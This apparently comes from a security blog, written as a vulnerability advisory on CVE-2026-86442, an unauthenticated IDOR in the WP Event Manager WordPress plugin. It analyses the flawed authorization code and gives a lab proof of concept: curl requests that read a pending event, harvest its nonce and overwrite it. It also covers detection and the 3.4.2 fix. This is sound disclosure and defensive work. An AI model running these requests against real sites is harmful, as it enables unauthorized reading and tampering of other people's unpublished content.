Post

CVE-2026-86442: WP Event Manager Unauthenticated IDOR Lets Guests Rewrite Pending Events

A missing object-level authorization check in WP Event Manager 3.4.1 let unauthenticated guests read and overwrite pending events via event_id. Source analysis, 3.4.2 diff, and lab PoC.

CVE-2026-86442: WP Event Manager Unauthenticated IDOR Lets Guests Rewrite Pending Events

CVE-2026-86442: WP Event Manager Unauthenticated IDOR Lets Guests Rewrite Pending Events

A guest can open a pending event, read it, rewrite it, and keep the original author’s name on the post. The event stays pending. The admin later approves content they think they already reviewed.

That is the bug.

WP Event Manager 3.4.0 and 3.4.1 put the ownership check in the wrong branch. The result is an unauthenticated IDOR in the front-end event submission form. Fixed in 3.4.2.

  
CVECVE-2026-86442
TypeIDOR / broken object-level authorization (CWE-639)
PluginWP Event Manager
Affected3.4.0 – 3.4.1
Fixed3.4.2
AccessUnauthenticated
CVSS8.2 (High)

The code path

The submission form reads event_id from the request:

1
2
3
4
5
6
7
8
// forms/wp-event-manager-form-submit-event.php, 3.4.1
$this->event_id = !empty($_REQUEST['event_id'])
    ? absint(wp_unslash($_REQUEST['event_id']))
    : 0;

if (!event_manager_user_can_edit_event($this->event_id)) {
    $this->event_id = 0;
}

Then it asks event_manager_user_can_edit_event() whether the current user can edit that ID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// wp-event-manager-functions.php, 3.4.1
function event_manager_user_can_edit_event($event_id) {
    $can_edit = true;

    if (!is_user_logged_in() || !$event_id) {
        if (event_manager_user_requires_account() && !event_manager_enable_registration()) {
            $can_edit = false;
        }
    } else {
        $event = get_post($event_id);
        if (
            !$event
            || (absint($event->post_author) !== get_current_user_id()
                && !current_user_can('edit_post', $event_id))
        ) {
            $can_edit = false;
        }
    }

    return apply_filters('event_manager_user_can_edit_event', $can_edit, $event_id);
}

Read the branches carefully.

If you are a guest, or if event_id is empty, you enter the first branch. That branch does not check who owns the post. It only checks whether the site requires an account and whether registration is disabled.

The ownership check lives in the else branch. That branch is only reached by a logged-in user with a non-zero event_id.

So a guest with event_id=14:

  1. enters the first branch,
  2. fails to hit the ownership check,
  3. gets $can_edit = true unless both account-required and registration-disabled are set,
  4. keeps event_id=14.

The function name says “user can edit event.” The implementation only checks ownership for logged-in users. For guests, it checks a site policy. Those are not the same thing.

Default settings make it worse

event_manager_user_requires_account() is this:

1
2
3
4
return apply_filters(
    'event_manager_user_requires_account',
    get_option('event_manager_user_requires_account') == 1 ? true : false
);

If the option is unset, get_option() returns false, so event_manager_user_requires_account() is false.

The settings screen defines a default of '1':

1
2
'name' => 'event_manager_user_requires_account',
'std'  => '1',

But std is a settings-form default, not an installed option. Activation does not create event_manager_user_requires_account. A site that never saved the Event Submission settings runs with the option unset, which means guest submissions are treated as allowed.

The guest branch then becomes:

1
2
3
4
requires_account = false
enable_registration = false
false && !false = false
$can_edit stays true

The same logic fails in another configuration. If account required is on but account creation is also on:

1
2
3
4
requires_account = true
enable_registration = true
true && !true = false
$can_edit stays true

The only safe combination in 3.4.1 is:

requires_accountenable_registrationGuest can edit an existing ID?
falsefalseyes
falsetrueyes
truefalseno
truetrueyes

That is not a default-settings problem. It is a broken authorization condition.

The read happens before the write

Once $this->event_id survives, the form loads the post:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// forms/wp-event-manager-form-submit-event.php, 3.4.1
if ($this->event_id) {
    $event = get_post($this->event_id);

    foreach ($this->fields as $group_key => $group_fields) {
        foreach ($group_fields as $key => $field) {
            switch ($key) {
                case 'event_title':
                    $this->fields[$group_key][$key]['value'] = esc_attr($event->post_title);
                    break;

                case 'event_description':
                    $this->fields[$group_key][$key]['value'] = wp_kses_post($event->post_content);
                    break;

                default:
                    $this->fields[$group_key][$key]['value'] = get_post_meta($event->ID, '_' . $key, true);
                    break;
            }
        }
    }
}

There is no post type check here. get_post(14) returns whatever post type ID 14 is: event_listing, post, page, draft, pending, auto-draft. The form maps the title and content into event fields and reads event meta from the post.

That is the read primitive. A guest can request the public submission page with someone else’s ID and see the unpublished title and body in the form.

The constructor does filter by status later:

1
2
3
4
5
6
$event_status = get_post_status($this->event_id);

if (!in_array($event_status, array('preview', 'pending', 'draft', 'auto-draft'))) {
    $this->event_id = 0;
    $this->step = 0;
}

Published posts are rejected. Pending, draft, auto-draft, and preview posts are accepted. That is exactly the set the advisory describes: unpublished content.

The nonce is not the gate

The form renders this:

1
2
3
// templates/event-submit.php, 3.4.1
<input type="hidden" name="event_id" value="<?php echo esc_attr($event_id); ?>" />
<?php wp_nonce_field('edit-event_' . $event_id, '_wpnonce'); ?>

The nonce action is edit-event_14. Because the guest is allowed to load the form for ID 14, WordPress generates a valid nonce for that guest session and puts it in the HTML.

On submit, the handler verifies the same action:

1
2
3
4
5
6
7
8
9
if (!empty($_POST) && (
    empty($_POST['_wpnonce'])
    || !wp_verify_nonce(
        sanitize_key(wp_unslash($_POST['_wpnonce'])),
        'edit-event_' . $this->event_id
    )
)) {
    return;
}

The nonce matches because the server just minted it. No forgery. No brute force.

Nonces are CSRF tokens. They answer “did this request come from a form on this site?” They do not answer “is this user allowed to edit post 14?” That question was never asked.

The save call preserves the status and the author

After validation, the handler calls:

1
2
3
4
5
6
$this->save_event(
    $event_title,
    $event_description,
    $this->event_id ? '' : 'preview',
    $values
);

Because event_id is 14, the status argument is an empty string. Then:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// forms/wp-event-manager-form-submit-event.php, 3.4.1
$event_data = array(
    'post_title'   => sanitize_text_field($post_title),
    'post_content' => wp_kses_post($post_content),
    'post_type'    => 'event_listing',
    'comment_status' => apply_filters('event_manager_allowed_comment', 'closed'),
);

if ($status) {
    $event_data['post_status'] = $status;
}

if ($this->event_id) {
    $event_data['ID'] = $this->event_id;
    wp_update_post($event_data);
}

Three things matter here.

  1. post_type is hardcoded to event_listing. A pending page or post can be converted into an event.
  2. post_status is omitted because the status argument was empty. The original status stays pending or draft.
  3. post_author is not set. wp_update_post() preserves the original author.

The slug is recalculated too, because save_event() defaults $update_slug to true and sets post_name from the new title. The original pending post’s title, body, slug, type, and meta can change while the author remains the admin.

That is why the result is easy to miss in the approval queue. The event still looks like the admin’s event. Same author. Same ID. Same pending status. Different content.

PoC

Lab: WordPress 6.8.3, WP Event Manager 3.4.1, PHP 8.2, default guest-submission settings.

Create a pending event as the admin:

1
2
3
4
5
6
wp post create \
  --post_type=event_listing \
  --post_status=pending \
  --post_title='Secret Admin Event' \
  --post_content='Confidential admin-owned event body' \
  --porcelain
1
14

The public submission page is page ID 5 with [submit_event_form].

1. Read the pending event as a guest

Use a fresh cookie jar. No WordPress session.

1
2
3
curl -sS -c /tmp/empty.cookies \
  'http://127.0.0.1:8093/?page_id=5&event_id=14' \
  -o guest-form.html

Check the form:

1
rg -o 'value="Secret Admin Event"|name="_wpnonce" value="[^"]+"' guest-form.html
1
2
value="Secret Admin Event"
name="_wpnonce" value="f07e04ba8f"

The first line is the read. The second is the nonce. Both belong to the victim’s event.

2. Submit the overwrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl -sS -D guest_update.headers -o guest_update.html -H 'Cookie:' -X POST \
  'http://127.0.0.1:8093/?page_id=5&event_id=14' \
  -F 'event_manager_form=submit-event' \
  -F 'event_id=14' -F 'step=0' -F '_wpnonce=f07e04ba8f' \
  -F 'event_title=Hacked by Guest' \
  -F 'event_online=no' -F 'event_pincode=10001' \
  -F 'event_location=Private Admin Venue' -F 'event_country=US' \
  -F 'current_event_banner=13' \
  -F 'event_description=Confidential admin-owned event body' \
  -F 'registration=secret-admin@example.test' \
  -F 'event_start_date=2026-10-10' -F 'event_start_time=10:00:00' \
  -F 'event_end_date=2026-10-11' -F 'event_end_time=11:00:00' \
  -F 'enable_health_guideline=no' \
  -F 'enable_health_guideline_other=no' \
  -F 'submit_event=Preview'

Response:

1
2
HTTP/1.1 302 Found
Location: http://127.0.0.1:8093/?page_id=5&step=1&event_id=14

The 302 is the success signal. The form handler accepted the update and moved to the preview step. A bad nonce or a rejected ID returns the form, not a redirect.

3. Verify the state

1
wp post get 14 --field=post_title
1
Hacked by Guest
1
wp post get 14 --field=post_status
1
pending
1
wp post get 14 --field=post_type
1
event_listing
1
wp post get 14 --field=post_author
1
1

The title changed. The status did not. The author did not.

If the victim object was a pending page instead of an event, the same request changes its post_type to event_listing and keeps it pending. That matches WPScan’s note about converting unpublished posts and pages into events.

The form returns 200 for both valid and invalid IDs, so the status code is not the oracle. The pre-filled title is. A valid ID shows the victim’s title; an invalid ID gives you an empty new-submission form. IDs are sequential, so enumeration is cheap.

Scope: I tested this against a pending event. The event stayed pending, the author stayed the same, and the type stayed event_listing. A pending page or post goes through the same get_post() and wp_update_post() path; WPScan’s advisory says it was confirmed there too. Forced publication, RCE, and published-post overwrite are not claimed.

Impact

The direct impact is read and write on unpublished content.

Read:

  • pending/draft event title and body;
  • event meta exposed through the form fields;
  • taxonomies and organizer/venue IDs where present.

Write:

  • title;
  • body;
  • slug;
  • post type, forced to event_listing;
  • event meta, taxonomies, organizer/venue IDs through the normal save loop.

The real chain is approval-queue poisoning. The attacker does not need to publish anything. They change what the admin is about to approve. If the admin approves the pending event, the attacker’s content goes live under the original author’s name.

The original pending content is overwritten. Revisions may help, but the attacker can submit again until approval. The admin sees the same event ID, the same author, and the same pending status.

For a pending page or post, changing post_type to event_listing also removes it from its original post type listing and changes its slug. That is an integrity and availability problem on top of the content leak.

Detection

Look for unauthenticated requests to the public submission page with an event_id:

1
2
GET /?page_id=5&event_id=14
POST /?page_id=5&event_id=14  event_manager_form=submit-event&submit_event=Preview

A successful write returns 302 to step=1&event_id=14.

In WordPress, check pending events for:

  • post_modified newer than post_date;
  • title or content changes with no matching admin edit;
  • post_author unchanged;
  • post_type changed to event_listing on a post or page that used to be something else;
  • post_name changes that do not match the original title.

A WAF rule can block unauthenticated POSTs with a non-zero event_id to the submission page. That stops the write. Blocking the GET too also stops the read and the nonce harvest, but the POST is the part that changes data.

The fix in 3.4.2

The vendor changed the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// wp-event-manager-functions.php, 3.4.2
function event_manager_user_can_edit_event($event_id) {
    $can_edit = true;

    if (!$event_id) {
        if (event_manager_user_requires_account() && !event_manager_enable_registration()) {
            $can_edit = false;
        }
    } else {
        $event = get_post($event_id);

        if (
            !$event
            || 'event_listing' !== $event->post_type
            || !is_user_logged_in()
            || (absint($event->post_author) !== get_current_user_id()
                && !current_user_can('edit_post', $event_id))
        ) {
            $can_edit = false;
        }
    }

    return apply_filters('event_manager_user_can_edit_event', $can_edit, $event_id);
}

The new-submission path (event_id=0) still follows the account/registration policy. The edit path now requires:

  • a real post;
  • post_type === 'event_listing';
  • a logged-in user;
  • ownership or edit_post capability.

The post type check is the part that stops a pending page or post from being converted into an event. The is_user_logged_in() check is the part that stops the guest.

The vendor changelog confirms it:

1
Fixed : Unauthenticated User Can Read and Overwrite Any Draft/Pending Post via event_id.

Update to 3.4.2.

Disclosure

  • CVE: CVE-2026-86442
  • WPScan: https://wpscan.com/vulnerability/bcc4df7e-86a0-4614-9b3a-8629f6335b8a/
  • Affected: WP Event Manager 3.4.0 – 3.4.1
  • Fixed: 3.4.2
  • Public PoC per WPScan: December 2, 2026
  • Plugin: https://wordpress.org/plugins/wp-event-manager/
  • Source: https://plugins.trac.wordpress.org/browser/wp-event-manager/trunk/wp-event-manager-functions.php

The interesting part is not the payload. It is the branch. A function named event_manager_user_can_edit_event() checked site policy for guests and ownership for logged-in users. The guest path never reached the ownership check. One event_id was enough.

This post is licensed under CC BY 4.0 by the author.
Support my research